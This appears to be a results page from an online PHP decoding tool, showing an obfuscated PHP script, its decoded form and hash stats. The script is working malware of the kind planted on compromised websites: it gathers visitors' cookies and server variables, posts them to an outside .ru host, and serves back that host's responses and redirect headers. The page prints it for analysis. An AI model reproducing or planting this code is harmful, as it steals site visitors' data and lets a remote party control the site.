Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $s=&$_COOKIE;$C=&$_SERVER;$J='';if(!empty($s)){foreach($s as $Z=>$G){if($J)$J.='; ';..

Decoded Output download

<?php $s=&$_COOKIE;$C=&$_SERVER;$J='';if(!empty($s)){foreach($s as $Z=>$G){if($J)$J.='; ';$J.=$Z.'='.addslashes($G);}}$H="curl_init";$L=http_build_query($C);$e="opt77.winner16.ru";$k="/million/proxyfolder/zalyomicimol";if(is_callable($H)){$K="curl_setopt";$N="curl_exec";$p=$H();$K($p,4051+5951,"http://".$e.$k);$K($p,820+9195,$L);$K($p,2441+17472,1);$K($p,2355+17724,'BFhl');if($J)$K($p,1151+8871,$J);echo $N($p);}else{$b="fsockopen";$q="fclose";$o="fwrite";$U="fgets";$u=$b($e,74+6) or die();$D="POST $k HTTP/1.1
Host: $e
Content-Type: application/x-www-form-urlencoded
";if($J)$D.="Cookie: $J
";$D.="Content-length: ".strlen($L)."
Connection: Close

";$o($u,$D.$L);$f='';while(!feof($u)){$f.=$U($u,601+423);}$q($u);list($D,$Y)=explode("

",$f,2);$D=explode("
",$D);$m=0;foreach($D as $S){BFhl(0,$S);if(strpos($S,"chunked")!==false)$m=1;}if($m){for($T='';!empty($Y);$Y=trim($Y)){$v=strpos($Y,"
");$P=hexdec(substr($Y,0,$v));$T.=substr($Y,$v+2,$P);$Y=substr($Y,$v+2+$P);}echo $T;}else echo $Y;}function BFhl($p,$a){if(strpos($a,"Content-Type")!==false||strpos($a,"404")!==false||strpos($a,"301")!==false||strpos($a,"Location")!==false||strpos($a,"Set-Cookie")!==false)header($a);return strlen($a);}?>

Did this file decode correctly?

Original Code

<?php $s=&$_COOKIE;$C=&$_SERVER;$J='';if(!empty($s)){foreach($s as $Z=>$G){if($J)$J.='; ';$J.=$Z.'='.addslashes($G);}}$H="\x63\x75\162\x6c\x5f\151\x6e\151\164";$L=http_build_query($C);$e="\x6f\160\164\x37\x37\56\167\x69\156\156\x65\162\61\x36\56\162\165";$k="\x2f\x6d\x69\x6c\x6c\151\x6f\x6e\x2f\x70\162\x6f\x78\x79\146\157\x6c\x64\145\x72\57\x7a\141\154\x79\157\155\151\143\151\155\157\x6c";if(is_callable($H)){$K="\143\165\162\x6c\x5f\x73\145\x74\157\160\164";$N="\x63\165\162\154\137\145\170\x65\143";$p=$H();$K($p,4051+5951,"\x68\164\x74\x70\72\57\x2f".$e.$k);$K($p,820+9195,$L);$K($p,2441+17472,1);$K($p,2355+17724,'BFhl');if($J)$K($p,1151+8871,$J);echo $N($p);}else{$b="\146\x73\157\143\153\x6f\160\145\156";$q="\146\143\154\157\163\145";$o="\x66\x77\x72\151\164\x65";$U="\x66\147\x65\164\x73";$u=$b($e,74+6) or die();$D="\120\117\x53\124 $k \x48\124\x54\120/1.1\r\n\x48\157\x73\x74: $e\r\n\x43\x6f\156\x74\145\x6e\x74\55\124\x79\160\x65: \x61\160\160\154\x69\x63\x61\164\x69\x6f\156\x2f\170\x2d\167\x77\x77\55\x66\x6f\162\x6d\55\165\162\154\x65\x6e\143\x6f\144\145\144\r\n";if($J)$D.="\x43\157\x6f\x6b\151\x65: $J\r\n";$D.="\x43\x6f\x6e\164\145\156\x74\x2d\154\145\x6e\x67\164\150: ".strlen($L)."\r\n\x43\157\156\x6e\145\x63\x74\x69\x6f\156\72\40\103\x6c\x6f\163\145\r\n\r\n";$o($u,$D.$L);$f='';while(!feof($u)){$f.=$U($u,601+423);}$q($u);list($D,$Y)=explode("\r\n\r\n",$f,2);$D=explode("\r\n",$D);$m=0;foreach($D as $S){BFhl(0,$S);if(strpos($S,"\x63\x68\165\156\x6b\145\144")!==false)$m=1;}if($m){for($T='';!empty($Y);$Y=trim($Y)){$v=strpos($Y,"\r\n");$P=hexdec(substr($Y,0,$v));$T.=substr($Y,$v+2,$P);$Y=substr($Y,$v+2+$P);}echo $T;}else echo $Y;}function BFhl($p,$a){if(strpos($a,"\x43\x6f\156\x74\145\x6e\x74\55\124\x79\160\x65")!==false||strpos($a,"\64\x30\x34")!==false||strpos($a,"\x33\x30\61")!==false||strpos($a,"\114\157\x63\x61\164\151\x6f\156")!==false||strpos($a,"\x53\x65\164\x2d\x43\157\x6f\x6b\151\x65")!==false)header($a);return strlen($a);}?>

Function Calls

None

Variables

$C 0
$J
$s 0

Stats

MD5 48bd0401cac2d84e0cdc3eca3ae24d71
Eval Count 0
Decode Time 157 ms